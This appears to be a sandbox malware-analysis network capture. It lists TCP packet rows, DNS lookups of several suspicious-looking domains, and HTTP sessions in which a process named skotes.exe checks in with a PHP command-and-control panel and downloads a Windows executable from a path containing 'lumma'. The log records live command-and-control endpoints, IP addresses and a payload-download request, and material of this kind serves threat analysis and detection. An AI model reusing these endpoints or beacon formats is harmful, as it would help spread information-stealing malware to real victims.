Dec 20, 2024 02:11:43.574592113 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.575134039 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.575366974 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.576001883 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.576041937 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.576179981 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.576880932 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.576934099 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.577017069 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.577672005 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.577723026 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.577899933 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.577949047 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.578526020 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.578779936 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.578825951 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.579349995 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.580223083 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.580260038 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.580291986 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.580324888 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.581063032 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.581115961 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.581486940 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.581545115 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.581918001 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.581952095 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.582015991 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.664033890 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.757863998 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.783991098 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.784406900 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.784425020 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.784445047 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.784519911 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.784519911 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.877507925 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.877860069 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.877976894 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.877990007 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.878020048 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.878496885 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.878750086 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.878843069 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.878889084 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.879656076 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.880455971 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.880471945 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.880501986 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.880537987 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.880702972 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.881298065 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.881932974 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.882157087 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.882172108 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.882227898 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.882227898 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.883013964 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.883030891 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.883162022 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.883810043 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.884207010 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.884566069 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.884708881 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.884722948 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.885560036 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.885576963 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.885632992 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.885632992 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.886331081 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.886539936 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.887157917 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.887178898 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.887681007 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.888046980 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.888062954 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.888075113 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.888533115 CET	49923	80	192.168.2.5	185.215.113.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 20, 2024 02:11:17.142461061 CET	192.168.2.5	1.1.1.1	0xb08c	Standard query (0)	rapeflowwj.lat	A (IP address)	IN (0x0001)	false
Dec 20, 2024 02:11:17.373235941 CET	192.168.2.5	1.1.1.1	0x440	Standard query (0)	grannyejh.lat	A (IP address)	IN (0x0001)	false
Dec 20, 2024 02:11:25.277617931 CET	192.168.2.5	1.1.1.1	0x65bb	Standard query (0)	pancakedipyps.click	A (IP address)	IN (0x0001)	false
Dec 20, 2024 02:11:37.428966045 CET	192.168.2.5	1.1.1.1	0x39ba	Standard query (0)	httpbin.org	A (IP address)	IN (0x0001)	false
Dec 20, 2024 02:11:37.429024935 CET	192.168.2.5	1.1.1.1	0x7ce9	Standard query (0)	httpbin.org	28	IN (0x0001)	false
Dec 20, 2024 02:11:40.835603952 CET	192.168.2.5	1.1.1.1	0xad01	Standard query (0)	home.twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 20, 2024 02:11:40.835695028 CET	192.168.2.5	1.1.1.1	0x3300	Standard query (0)	home.twentytk20pn.top	28	IN (0x0001)	false
Dec 20, 2024 02:11:44.715205908 CET	192.168.2.5	1.1.1.1	0x7f56	Standard query (0)	treehoneyi.click	A (IP address)	IN (0x0001)	false
Dec 20, 2024 02:11:45.331397057 CET	192.168.2.5	1.1.1.1	0xb59b	Standard query (0)	home.twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 20, 2024 02:11:45.331435919 CET	192.168.2.5	1.1.1.1	0x92a8	Standard query (0)	home.twentytk20pn.top	28	IN (0x0001)	false
Dec 20, 2024 02:11:57.422255039 CET	192.168.2.5	1.1.1.1	0x54cc	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 02:11:57.422561884 CET	192.168.2.5	1.1.1.1	0x8ba7	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 20, 2024 02:12:01.450006008 CET	192.168.2.5	1.1.1.1	0xa15e	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 02:12:01.450139046 CET	192.168.2.5	1.1.1.1	0xfd9e	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 20, 2024 02:12:09.868330956 CET	192.168.2.5	1.1.1.1	0x6472	Standard query (0)	twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 20, 2024 02:12:09.868408918 CET	192.168.2.5	1.1.1.1	0x8454	Standard query (0)	twentytk20pn.top	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 20, 2024 02:11:17.366633892 CET	1.1.1.1	192.168.2.5	0xb08c	Name error (3)	rapeflowwj.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2024 02:11:17.688469887 CET	1.1.1.1	192.168.2.5	0x440	No error (0)	grannyejh.lat		172.67.179.109	A (IP address)	IN (0x0001)	false
Dec 20, 2024 02:11:17.688469887 CET	1.1.1.1	192.168.2.5	0x440	No error (0)	grannyejh.lat		104.21.64.80	A (IP address)	IN (0x0001)	false
Dec 20, 2024 02:11:25.588948011 CET	1.1.1.1	192.168.2.5	0x65bb	No error (0)	pancakedipyps.click		172.67.209.202	A (IP address)	IN (0x0001)	false
Dec 20, 2024 02:11:25.588948011 CET	1.1.1.1	192.168.2.5	0x65bb	No error (0)	pancakedipyps.click		104.21.23.76	A (IP address)	IN (0x0001)	false
Dec 20, 2024 02:11:37.712841988 CET	1.1.1.1	192.168.2.5	0x39ba	No error (0)	httpbin.org		34.226.108.155	A (IP address)	IN (0x0001)	false
Dec 20, 2024 02:11:37.712841988 CET	1.1.1.1	192.168.2.5	0x39ba	No error (0)	httpbin.org		98.85.100.80	A (IP address)	IN (0x0001)	false
Dec 20, 2024 02:11:41.372387886 CET	1.1.1.1	192.168.2.5	0xad01	No error (0)	home.twentytk20pn.top		147.45.113.159	A (IP address)	IN (0x0001)	false
Dec 20, 2024 02:11:45.022718906 CET	1.1.1.1	192.168.2.5	0x7f56	No error (0)	treehoneyi.click		104.21.91.209	A (IP address)	IN (0x0001)	false
Dec 20, 2024 02:11:45.022718906 CET	1.1.1.1	192.168.2.5	0x7f56	No error (0)	treehoneyi.click		172.67.180.113	A (IP address)	IN (0x0001)	false
Dec 20, 2024 02:11:45.468724012 CET	1.1.1.1	192.168.2.5	0xb59b	No error (0)	home.twentytk20pn.top		147.45.113.159	A (IP address)	IN (0x0001)	false
Dec 20, 2024 02:11:57.559076071 CET	1.1.1.1	192.168.2.5	0x54cc	No error (0)	www.google.com		172.217.19.228	A (IP address)	IN (0x0001)	false
Dec 20, 2024 02:11:57.559767962 CET	1.1.1.1	192.168.2.5	0x8ba7	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 20, 2024 02:12:01.589231968 CET	1.1.1.1	192.168.2.5	0xa15e	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 02:12:01.589231968 CET	1.1.1.1	192.168.2.5	0xa15e	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 02:12:01.589231968 CET	1.1.1.1	192.168.2.5	0xa15e	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 02:12:01.589231968 CET	1.1.1.1	192.168.2.5	0xa15e	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 20, 2024 02:12:01.802594900 CET	1.1.1.1	192.168.2.5	0xc7c6	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 02:12:01.945633888 CET	1.1.1.1	192.168.2.5	0x5c07	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 02:12:01.945633888 CET	1.1.1.1	192.168.2.5	0x5c07	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 02:12:01.945633888 CET	1.1.1.1	192.168.2.5	0x5c07	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 20, 2024 02:12:01.985270977 CET	1.1.1.1	192.168.2.5	0xfd9e	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 02:12:01.985270977 CET	1.1.1.1	192.168.2.5	0xfd9e	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 02:12:04.616764069 CET	1.1.1.1	192.168.2.5	0x21fa	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 02:12:04.617212057 CET	1.1.1.1	192.168.2.5	0xfc7	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 02:12:04.617212057 CET	1.1.1.1	192.168.2.5	0xfc7	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 02:12:04.617212057 CET	1.1.1.1	192.168.2.5	0xfc7	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 20, 2024 02:12:10.517339945 CET	1.1.1.1	192.168.2.5	0x6472	No error (0)	twentytk20pn.top		147.45.113.159	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49817	185.215.113.43	80	7696	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 02:11:03.884288073 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2024 02:11:05.215804100 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 01:11:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49825	185.215.113.43	80	7696	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 02:11:06.847475052 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Dec 20, 2024 02:11:08.240948915 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 01:11:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 34 35 0d 0a 20 3c 63 3e 31 30 31 38 30 32 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 36 37 65 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 31 38 30 35 38 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 64 37 65 38 36 34 34 30 33 61 63 35 32 65 61 34 38 34 62 34 31 31 62 39 64 63 34 65 31 23 31 30 31 38 30 35 39 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 65 37 31 39 62 35 30 35 39 62 62 30 32 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 31 38 30 36 30 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 [TRUNCATED] Data Ascii: 745 <c>1018024001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9c67edd534db057eb410a494d9d#1018058001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7e864403ac52ea484b411b9dc4e1#1018059001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb02ab5e45425197d1aa1daaa8#1018060001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc7709c4543b01cf64d4a485a9592e100b7#1018061001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc67e805545b01cf64d4a485a9592e100b7#1018062001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbdc76914a49ba1cf64d4a485a9592e100b7#1018063001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc97c994e5faf1cf64d4a485a9592e100b7#1018064001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc770934541bf5dab5e45425197d1aa1daaa8#1018065001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc07e804d03ac52ea484b411b9dc4e1#1018066001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1018067001+++fc8f7c1ed3c0 [TRUNCATED]
Dec 20, 2024 02:11:08.240963936 CET	124	IN	Data Raw: 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 31 38 30 36 38 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 Data Ascii: d534db057eb410a494d9d#1018068001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1018069001++
Dec 20, 2024 02:11:08.476335049 CET	692	IN	Data Raw: 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 34 66 34 62 32 38 34 36 64 39 33 34 66 34 38 62 31 35 65 61 61 34 39 35 63 34 39 23 31 30 31 38 30 37 Data Ascii: +fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#1018070001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb01ab5e45425197d1aa1daaa8#1018071001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49831	185.215.113.16	80	7696	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 02:11:08.602868080 CET	56	OUT	GET /lumma/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 20, 2024 02:11:09.942667007 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 01:11:09 GMT Content-Type: application/octet-stream Content-Length: 2923008 Last-Modified: Fri, 20 Dec 2024 00:41:12 GMT Connection: keep-alive ETag: "6764bd28-2c9a00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ac 00 00 00 00 00 00 00 70 2f 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2f 00 00 04 00 00 9a 18 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL<_gp/@/-@T0h1 F@.rsrc V@.idata 0V@fmpsqbte @X@yzkhfydu`/r,@.taggant0p/"x,@
Dec 20, 2024 02:11:09.942694902 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 02:11:09.942703962 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 02:11:09.942912102 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 02:11:09.942920923 CET	496	IN	Data Raw: 9e 01 fb e9 49 e0 77 9d 6f aa 55 bd 4f ca 27 c6 24 1a 9f c1 c1 81 7c 4a 02 5d d1 19 e2 1b 92 64 96 f1 20 55 4c b5 79 7c d1 61 91 c2 59 09 5c 4b 48 9a 78 fc b9 e8 91 5e 19 6a 57 79 00 d2 5b 66 5b af aa 6b d5 23 c5 8b 14 34 1a 81 dc fc c3 40 0f 05 Data Ascii: IwoUO'$\|J]d ULy\|aY\KHx^jWy[f[k#4@@TzV!az=/{kD;R94\4aVf]\=[vi>>[5\|:y;]r:,#<v`(( ZY[q,=LZ4
Dec 20, 2024 02:11:09.942930937 CET	1236	IN	Data Raw: f3 bc a2 61 50 1d 18 31 1e 70 98 8b 0c c5 68 7c 9d 6d 97 29 3c 69 ec ac 28 a1 5e c0 93 97 3e a2 1d 9c 99 23 ea e5 e0 e5 65 ae 8e fc f8 f7 ed 93 2d 5c a1 8b b9 27 d8 5d 1d 48 84 af 01 88 42 a4 da ba a3 9a 6f 04 5c 3b 8a 30 eb c3 e4 f0 a8 c7 de a7 Data Ascii: aP1ph\|m)<i(^>#e-\']HBo\;0`%!KtW(`YcpwjK^-"JQ@L\wDW1@IzcDsw/w:bCx\[1.*<i,L
Dec 20, 2024 02:11:09.943147898 CET	1236	IN	Data Raw: ef 41 12 31 c3 c1 d7 65 5a 31 ad a4 5a d2 ba 4b 52 0e 67 54 45 93 4f ba 25 81 bc 74 30 53 a1 9b e6 30 01 ae 90 71 e5 90 25 ad 5b 7c 03 cc 9e 08 b5 5b 7a c4 f3 63 c3 45 3f ef 7f 46 71 73 ff c8 fe 5e b2 a4 ed 07 ba a9 e1 b7 56 95 60 b5 af 0f 0d 9b Data Ascii: A1eZ1ZKRgTEO%t0S0q%[\|[zcE?Fqs^V`dTxv$C^p>xVXM.9X1ZW!OQY-.=aR\99pZ\|<m`r6X1QwM];P[cLAQ3/
Dec 20, 2024 02:11:09.943161011 CET	1236	IN	Data Raw: 52 d3 df 7f bb b1 f9 3e 4b a5 7a 29 a6 b0 6e dd c1 f9 b6 4e fe c1 0c 7b 73 9a 5f 7f e2 c5 54 0e 91 e5 87 ad f8 a9 5b 8a dd 54 b4 00 27 69 9f 5c f1 60 6a 7f 48 e2 94 f2 7f 42 fd 96 62 bf 85 1b 7e 9a 99 a1 92 49 a4 88 a7 8c b8 fb e7 84 d6 c8 62 b9 Data Ascii: R>Kz)nN{s_T[T'i\`jHBb~Ibl%91A@:HL;6EUduQJRWHkQ"Cr1SU=O_YZ);,GLWY+=\d ?f`&@S?r0rfHSHc
Dec 20, 2024 02:11:09.943171024 CET	1236	IN	Data Raw: 2c 8b a7 72 e8 e1 94 00 be 4c b4 40 f2 ad 41 b9 7c a5 a8 38 5b de aa 39 ae 26 cb 3e 7c 7a a3 c0 5c d6 49 18 f2 33 96 57 e2 54 58 02 e1 b9 dd 7f fe 22 0c 0c 20 11 a3 bb cf b2 91 aa 76 13 88 d8 81 b9 2a 12 75 28 6f c6 fc c9 db cb d6 bb 60 1e 5b d7 Data Ascii: ,rL@A\|8[9&>\|z\I3WTX" v*u(o`[:cOQJvrZC\|a$rV(CzMwu4^VTf)\7/2 #&X]} vMIEZi_ Q}<LURx(xek_A/M
Dec 20, 2024 02:11:09.943181992 CET	1236	IN	Data Raw: 5d 27 45 e1 6e 22 66 69 c1 f9 be 0c 8d 78 c2 3f 16 cd 55 6e 28 8c e7 61 2c 2d 4e 92 10 f5 f7 3d 1e d1 61 24 62 74 ab c0 c3 50 44 41 85 4b d4 41 70 4b b8 46 16 c1 85 fa e6 49 82 ad 37 a3 b2 9c db cc 86 68 0d 96 f7 15 5c f7 8e 7c 59 72 62 19 dc df Data Ascii: ]'En"fix?Un(a,-N=a$btPDAKApKFI7h\\|Yrb{#+>~TkyQu[e&9t41Y#HXk::CA@FN_Bn$4}lCj"XAR\F&=s&(K0J{2n>Cy49`Y
Dec 20, 2024 02:11:10.062361956 CET	1236	IN	Data Raw: c8 c6 ce 82 d4 26 91 74 e9 d2 7d af fd f5 b6 46 4e a5 8f ad e4 84 eb 6f f0 31 c8 4e d1 b4 7b ba cd 42 0f ac c2 56 33 d8 41 84 27 46 45 a1 b3 55 25 71 22 4c b8 f6 cb 2e 23 f4 56 4e 44 d0 ad c1 04 d6 36 c2 82 9a 4f 97 43 2c a7 3c c7 e5 cb 69 59 d7 Data Ascii: &t}FNo1N{BV3A'FEU%q"L.#VND6OC,<iYF,iXpx<zuVuUmD?S.X%=@ABo_"O[v0hhOsAJB(!wGgEX!pKZE;G&G\|

